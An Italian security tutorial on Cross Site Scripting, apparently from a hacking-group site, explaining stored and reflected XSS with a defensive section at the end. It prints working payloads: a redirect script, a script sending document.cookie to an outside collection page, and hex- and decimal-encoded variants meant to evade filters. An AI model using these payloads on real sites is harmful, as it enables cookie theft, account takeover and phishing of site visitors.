Menu principale:
Hå¢kÎñG
La Tecnica XSS - Cross Site Scripting
Il motivo
della sigla xss e non css , è proprio per evitare di far confondere i
meno esperti con la sigla css che in gergo webmaster sta per “Cascading
Style Sheets” L’attacco XSS appartiene alla tipologia injection, quindi
si tratta di immissione di codice arbitrario in input alle pagine web.
A differenza di sql injection ed altri attacchi alle web application
trattati precedentemente a questo attacco , sono vulnerabili siti
dinamici e non . L’attacco può essere portato a compimento su qualsiasi
sito che presenti l’utilizzo di tecnologie come JavaScript, VBScript,
ActiveX, HTML e Flash. Per chi non conosce queste tecnologie , basti
pensare che si tratta di linguaggi e applicazioni che vengono eseguiti
direttamente dal vostro web browser (internet explorer, netscape,
Mozilla Firefox, ecc.)
Come al solito, questa vulnerabilità è
dovuta agli errori dei programmatori, che molto spesso trascurano
completamente la validazione delle informazioni passate in input al
sito dagli utenti.
L’attacco Cross Site Scripting è quindi
possibile d’attuazione, quando un sito web prende in input dati su cui
effettua delle operazioni. Queste informazioni vengono inviate al sito
solitamente tramite url. Questi dati, in siti non protetti, vengono
visualizzati cosi’ come sono stati inseriti dagli utenti.
Potenzialmente la vittima dell’attacco non è solo il sito, ma anche
l’utente, proprio perché occorre un semplice link che porta ad una
pagina di un sito non protetta per creare danni. Cliccando infatti
incautamente su uno di questi link che si può trovare su un sito web o
una mail , si può cadere vittima di questo attacco il cui fine è
solitamente quello di raccogliere dati degli utenti , leggere i cookie,
dirottare l’utente su un altro sito o visualizzare falsa pubblicità.
Analisi dell’attacco
Immaginate di essere su un forum o di scrivere su un guestbook
Nel testo scriveremo un cosa come:
<script>location='http://www.eurohackers.it/';</script>
Successivamente
salviamo il nostro testo su un forum non protetto da questo attacco e
avremo come risultato che chi carica la pagina con il nostro messaggio
, sarà reindirizzato al sito www.eurohackers.it
Detto
così non sembra poi tanto dannoso, ma pensate se sul sito su cui
effettuo il reindirizzamento , creo pagine che permettono la raccolta
dei dati ,
utilizzando un codice del tipo:
<script>document.location='http://www.sito.com/leggo-cookie.asp?'+document.cookie</script>
Ottengo
appunto il risultato di poter leggere i cookie rilasciati dal sito
vittima e di inviarli ad una pagina appositamente creata per
l’archiviazione (leggo-cookie.asp). Se i cookie non sono crittografati
, come succede spesso , si ha che l’attaccher otterrà user e password
di tutte le persone che visitano la pagina del forum contenente il suo
messaggio.Si può pensare anche ad un codice che faccia comparire
qualche messaggio di alert come finestre di errore o che carichi
all’interno della pagina attaccata un sito esterno.
È possibile ad esempio, manipolare il tag che in html si occupa di visualizzare le immagini in modo che faccia comparire una finestra di alert
<img SRC='javascript:alert("KinG-LioN Security TEST")'>
La stessa cosa per eludere eventuali filtri del web master potrebbe essere scritta informato Hex
<img SRC='%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%22%4E%
6F%54%72%61%63%65%20%53%65%63%75%72%69%74%79%20%54%45%53%54%22%29'>
Oppure in decimale:
<img
SRC='javascript:ale&
#114t("NoTrace Secur&#
105ty TEST")'>
Analizziamo ora un attacco Cross Site Scripting ( XSS ) iniettando codice in un url tramite link :
Pensiamo
ad un sito con motore di ricerca in stile google che nel momento in cui
clicchiamo sul pulsante “cerca”, invia le informazioni con “metodo get”
quindi nell’url del browser. Se ad esempio scriviamo su google “
Anonimato ” e clicchiamo su “cerca” , possiamo leggere nel campo
indirizzo del browser una cosa del tipo: /search?q=Anonimato
Tornando al nostro esempio immaginiamo un sito che utilizza lo stesso criterio
http://www.sito-vittima.xx/cerca.asp?parola=Anonimato
Il
web master nella pagina cerca.asp avrà implementato un codice che
permette di recuperare le informazioni della variabile parola ed
effettuare la ricerca; oltre ai risultai della ricerca inserirà
sicuramente un codice del tipo :
Sono state trovate 15 risultati per la parola <%=Request.querystring("parola")%>
Il
codice Request.querystring("parola") recupera proprio il valore passato
in input dall’utentee lo visualizza . In questo caso sarà visualizzato
”Anonimato” .
Se invece di ricercare anonimato si ricercasse una cosa del tipo:
http://www.sito-vittima.xx/cerca.asp?key=&...('Sicurezza Informatica')></script> ,
si otterrebbe la comparsa di una finestra di alert con la scritta “ Sicurezza informatica “ .
Si
potrebbe ricercare il codice javascript per il redirect o per la
lettura dei cookie, il codice cosi scritto, potrebbe essere inserito in
una mail e magari codificato in modo da renderlo poco visibile.
Potrebbe essere spacciato per un collegamento del sito e renderebbe gli
utenti più vulnerabili ad attacchi di phishing. Inserendo ad esempio un
redirect nel codice iniettato l’utente crede di andare sul sito http://www.sito-vittima.xx/ mentre si trova sul sito http://www.furbetto.xxx ,
che
in caso di attacco phishing sarà sicuramente creato ad immagine e
somiglianza del sito vittima rendendo quindi ulteriormente complesso il
riconoscimento del phishing
Come difendersi
Per gli
sviluppatori è opportuno controllare minuziosamente ogni informazione
inserita in input dagli utenti prima di inoltrarla alle proprie
applicazioni .
Per gli utenti è necessario cercare di tenere sempre
aggiornato il proprio browser, i browser permettono di disabilitare
l’utilizzo di linguaggi come javascript, vbscript, activix .
E’
doveroso ricordare che questi articoli non sono stati scritti per
attaccare siti e applicazioni, ma per rendere sviluppatori e utenti
consapevoli dei pericoli a cui si può andare incontro con questa
tipologia di attacchi.
Copyright © by Eurohackers.it - European Hackers TeaM Tutti i diritti riservati.